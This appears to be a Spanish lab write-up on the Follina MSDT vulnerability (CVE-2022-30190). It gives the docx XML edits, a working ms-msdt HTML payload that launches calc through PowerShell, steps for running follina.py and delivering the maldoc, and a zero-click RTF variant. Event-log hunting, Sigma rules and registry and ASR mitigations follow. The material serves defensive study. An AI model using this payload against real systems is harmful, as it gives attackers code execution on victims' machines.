muhammad-ali007/follina_msdt_cve-2022-30190
Microsoft explica que “existe una vulnerabilidad de ejecución remota de código cuando se llama a MSDT utilizando el protocolo URL desde una aplicación que realiza la llamada, como Word. Un atacante que explote esta vulnerabilidad con éxito puede ejecutar código arbitrario con los privilegios de la aplicación que realiza la llamada. El atacante puede entonces instalar programas, ver, cambiar o eliminar datos, o crear nuevas cuentas en el contexto permitido por los derechos del usuario”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft afirma que “la Herramienta de diagnóstico y soporte de Microsoft (MSDT) recopila información para enviarla al Soporte de Microsoft. Luego analizarán esta información y la utilizarán para determinar la resolución de cualquier problema que pueda estar experimentando en su computadora”. Con eso en mente, es esencialmente una forma para que el Soporte de Microsoft vea de inmediato qué está mal, ya que obtienen toda la información que necesitan directamente de la fuente.
Explicación del exploit
Comencemos con un descargo de responsabilidad: para nuestros propósitos, cargaremos nuestro payload a través de un documento de Word, particularmente en formato .docx; este es el exploit original que se ha descubierto en la naturaleza. Sin embargo, se ha demostrado que esta vulnerabilidad funciona en varios otros productos de Office.
Dos aspectos importantes de esta vulnerabilidad son: 1 - los archivos docx específicos contienen referencias a objetos OLE (originalmente abreviado como Object Linking and Embedding) y, a veces, adoptan la forma de archivos HTML alojados en otro lugar. 2 - MS-MSDT permite la ejecución de código.
Combinando los dos aspectos anteriores, se puede utilizar un esquema HTML de MS-MSDT para ejecutar código de PowerShell, y un archivo docx puede usarse para cargarlo mediante la capacidad de referencia externa de Word.
Más específicamente, al profundizar en la estructura del docx, el archivo word/_rels/document.xml.rels tiene una etiqueta XML <Relationship> con un atributo Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" que describe una referencia oleObject externa. Para explotar esta característica del docx, podemos editar el contenido de esta etiqueta para que apunte en su lugar al payload que estamos alojando, cambiando el valor Target a http://<external_payload_server.com>/<payload.html> y el valor TargetMode a "External".
En el archivo word/document.xml, hay una etiqueta XML que comienza con <o:OLEObject...> en la que debemos cambiar el valor Type a "Link" y luego agregar el atributo de par clave-valor UpdateMode="OnCall".
Lo único que queda por hacer ahora es alojar el payload al que se conectará el archivo de Word, y del que recibirá instrucciones al abrir el archivo. Esto se hace creando un archivo HTML con una estructura similar a la siguiente:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
En el contenido anterior del archivo HTML, notará el comando ms-msdt:/id PCWDiagnostic /skip force /param, junto con los modificadores de comando que puede usar para establecer el comando que desea ejecutar en la máquina objetivo. Luego puede combinar y ajustar el payload según sus propósitos.
Por lo tanto, ahora tenemos una forma de lograr la ejecución remota de código sin tocar ninguna macro y, como veremos más adelante, incluso sin abrir el documento malicioso.
Enfoque del exploit disponible públicamente (https://github.com/JohnHammond/msdt-follina)
John Hammond ha creado una herramienta para automatizar el proceso de creación de un documento malicioso (maldoc) y, en consecuencia, alojar el archivo HTML malicioso que contiene el comando malicioso. La herramienta está documentada en el enlace anterior, y usaremos una versión bifurcada de la misma para comprender mejor el concepto del exploit mencionado anteriormente.
Abra una terminal, clone este repositorio y cambie su directorio de trabajo a donde se haya clonado el repositorio msdt-follina.
root@host:~/Follina-MSDT# python3 follina.py
Al ejecutar el exploit, el archivo ya debería estar alojado, por lo que está listo para ser “entregado” a la máquina víctima. Manteniendo abierta la terminal original, abra otra terminal e ingrese el siguiente comando para alojar los archivos en un servidor:
root@host:~/Follina-MSDT# python -m http.server 3456
En la máquina objetivo, abra un símbolo del sistema e ingrese el siguiente comando:
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Esto descarga el maldoc en nuestra máquina y, como tal, poco después debería poder ver el archivo de Word llamado follina.docx aparecer en el Escritorio, listo para ejecutarse. Cuando esté listo, abra el archivo y observe qué sucede. Por ahora, permitamos que el maldoc y todo lo que generó sigan ejecutándose.
Implementación de "Zero Click"
Para replicar la implementación de “zero click” de esta vulnerabilidad, simplemente vamos al archivo de Word malicioso, agregamos un mensaje atractivo (completamente opcional), lo guardamos en el Formato de Texto Enriquecido (RTF) y listo. Esta implementación asume que la máquina de la víctima está en la vista de panel de vista previa; de lo contrario, revertirá a la funcionalidad original que aún se ejecutará al abrir el archivo.
Abra el explorador de archivos y navegue hasta la carpeta del Escritorio. Allí verá el archivo aparentemente inofensivo que creamos y que necesita un clic; proceda a hacer clic una vez, con cuidado de no abrirlo realmente, y observe qué sucede.
A pesar de no abrir realmente el archivo, el exploit se ejecutó de la misma manera que lo hizo anteriormente en este ejercicio. Esto sucedió debido a dos características clave: 1 - la función del Explorador de archivos para previsualizar archivos antes de abrirlos. 2 - el RTF, que permite que los archivos de documento puedan previsualizarse en el Explorador de archivos antes de abrirse (entre otros propósitos).
Combinar ambas y luego abusar de ellas resulta en un vector de ataque como el que acabamos de presenciar.
Detección y mitigación
Búsqueda de amenazas:
La máquina Windows que hemos utilizado para estudiar la explotación de la vulnerabilidad ha sido preconfigurada para tener habilitado el registro de:
Estos mecanismos de auditoría no están configurados de forma predeterminada y, por lo tanto, es imperativo que se activen en sus propios entornos para ayudar a detectar comportamientos sospechosos y mantener disponibles datos valiosos para los examinadores forenses.
Durante el proceso anterior, identificamos una serie de creaciones de procesos interesantes al explotar la vulnerabilidad. Estas creaciones de procesos se registran en los Registros de seguridad de Windows, listas para analizarse con su visor favorito o reenviarse a un recolector de registros centralizado para procesarlas y utilizarlas más adelante.
Para esta tarea usaremos el Event Log Viewer para Windows de Nirsoft para revisar las creaciones de procesos que identificamos anteriormente. Luego buscaremos detalles dentro de estas creaciones de procesos que podamos usar para buscar pistas en otros registros de eventos y explicar mejor lo que sucedió entre bastidores.
Proceda a abrir FullEventLogView. Vaya a View > Use Quick Filter. Debería aparecer una barra de búsqueda en la parte superior de los registros que nos permitirá hacer búsquedas rápidas. Dado que queríamos verificar los detalles de nuestras creaciones de procesos, podemos hacer clic en el menú desplegable más a la izquierda y elegir Find Event ID (space/comma...), luego escribir 4688 en la barra de búsqueda proporcionada.
La pantalla debería poblarse con eventos de Creación de procesos y notará inmediatamente que hay muchísimos, a pesar de tener una interacción mínima con la máquina.
El primer artefacto que revisaremos es winword.exe: comprender el flujo de eventos de este proceso nos da una idea de cómo se comportará, en general, un proceso de Office en el contexto de una explotación de msdt. Presione Ctrl+F para abrir una función de búsqueda y escriba winword.
La primera entrada que probablemente verá es aquella donde WINWORD.EXE es el nuevo proceso que se está creando, identificado por el detalle: New Process Name. Este proceso marca la apertura del archivo follina.docx, mediante el detalle: Process Command Line. Es completamente normal que no se vea exactamente igual. Haga clic en el botón Find Next hasta encontrar una entrada que parezca un comando largo "ms-msdt" (powershell).
Aquí veremos que WINWORD.EXE es el Creator Process, más comúnmente conocido como el proceso principal de msdt.exe. Observe la entrada de línea de comandos larga que contiene múltiples cmdlets de PowerShell (pronunciados command-lets) así como múltiples recorridos de directorio. Ver esto, por sí solo, en su entorno debería generar alertas inmediatas. Una joya gratuita que podemos examinar de cerca aquí es la cadena Y2FsYw== que, al decodificarse, daría como resultado la cadena calc.
Dado que vimos cmdlets de PowerShell, tendría sentido filtrar los eventos de PowerShell para verificar esta pista. Dado que hay muchos ID de evento únicos que registran eventos de PowerShell, podemos filtrar por Provider. Vaya a Options > Advanced Options. Haga clic en el segundo menú desplegable y seleccione Show only the specific providers (comma-delimited...). Escriba PowerShell entre comodines (*) para que se incluyan todos los proveedores relacionados con PowerShell.
Limpie el cuadro "Quick Filter" del 4688 que ingresamos anteriormente, y la pantalla debería poblarse con eventos que provienen exclusivamente de proveedores de PowerShell. Desde aquí, podemos filtrar los eventos mediante parte del comando de PowerShell que anotamos anteriormente.
Al llegar a este evento, podemos cerrar la función de búsqueda y proceder a seguir el rastro de este texto Scriptblock; puede navegar al siguiente evento presionando la tecla de flecha hacia abajo en su teclado, o haciendo clic manualmente en el evento. Explorar los eventos inmediatos que siguen a este texto de scriptblock mostrará la ejecución paso a paso de calc desde la perspectiva de PowerShell.
Disponibilidad de regla Sigma:
El ingeniero de detección de Huntress, Matthew Brennan, ha creado una regla Sigma para detectar ejecuciones sospechosas de MSDT en el entorno, y lo mejor de todo es que se sigue actualizando cada vez que la comunidad detecta algo nuevo.
La regla Sigma se puede encontrar aquí (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) es una buena herramienta que ayuda a convertir reglas Sigma en consultas que pueden usarse inmediatamente dentro del SIEM de su elección.
En la búsqueda de exploits de MSDT en el entorno, puede optar por utilizar la regla Sigma como mecanismo de detección tanto para:
MSDT también utiliza otro binario (https://twitter.com/KyleHanslovan/status/1531114931973767168) para canalizar ejecuciones, por lo que los procesos secundarios sospechosos que lo tengan como padre deben tenerse en cuenta e investigarse más a fondo. La información "redactada" anterior es una respuesta a una pregunta de la tarea anterior: compruébelo bajo su propio riesgo.
Lecturas adicionales:
Detección de Follina: ejecución remota de código de día cero en Microsoft Office (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Antivirus / Windows Defender:
Varios productos de Microsoft Defender tienen mecanismos de detección implementados, y nuestro confiable Centro de respuesta de seguridad de Microsoft (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) nos proporciona una lista de ellos.
Remediación
El parche para esta vulnerabilidad está en las actualizaciones acumulativas de Windows de junio de 2022. Es imperativo que los usuarios instalen estas actualizaciones para estar protegidos contra la vulnerabilidad. Puede hacerlo manualmente de vez en cuando, lo cual no es muy eficiente y es propenso a olvidarse, u optar por automatizar la verificación e instalación de actualizaciones.
Deshabilitar el protocolo URL de MSDT:
Antes de que se introdujera el parche, los equipos de seguridad instaron a los administradores de TI de sus organizaciones a deshabilitar inmediatamente el protocolo URL de MSDT. Al deshabilitar el protocolo URL de MSDT, los solucionadores de problemas no se iniciarán como enlaces y, por lo tanto, Office no podrá llamar a ms-msdt. Para deshabilitar el protocolo, primero ejecute un símbolo del sistema como administrador
C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt
C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup
C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f
C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
Para entonces, debe haber notado que siempre estamos cambiando nuestro directorio de trabajo al Escritorio; es para que podamos ver de inmediato los cambios que nuestros comandos introducen en el entorno: la creación de archivos es bastante notable. Sin embargo, de ninguna manera es la mejor práctica en ningún entorno.
El primer comando reg query que introdujimos es una verificación rápida de que la clave existe. Le sigue reg export, que exporta nuestra clave a un archivo para que podamos reintegrarla en nuestro sistema más adelante cuando Microsoft presente una solución más permanente para esta vulnerabilidad. El archivo exportado se guarda en el directorio de trabajo actual; en nuestro caso, el Escritorio. El comando reg delete es el que realmente deshabilita el protocolo URL de MSDT, principalmente porque lo elimina por completo del sistema. El comando final reg query es una verificación confirmatoria de que la clave ya no existe.
Después de deshabilitar el protocolo URL de MSDT en nuestra máquina Windows, intentemos activar el exploit nuevamente y veamos cómo afecta a la máquina. Esta es una buena manera de comprobar si nuestros controles podrían detectar ataques, independientemente de si tienen éxito o no.
Reducción de superficie de ataque (ASR):
Si está utilizando Microsoft Defender para endpoint en su entorno, habilite la regla ASR Block all Office applications from creating child processes. La creación de procesos secundarios desde servicios que no deberían estar haciéndolo es un tema común entre los malware.
Lectura adicional: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Finalmente, un par de procesos de remediación que son sencillos y fáciles de implementar han sido el método elegido para cerrar este tema. Microsoft ya ha lanzado un parche que bloquea la inyección de PowerShell, deshabilitando efectivamente ese vector de ataque.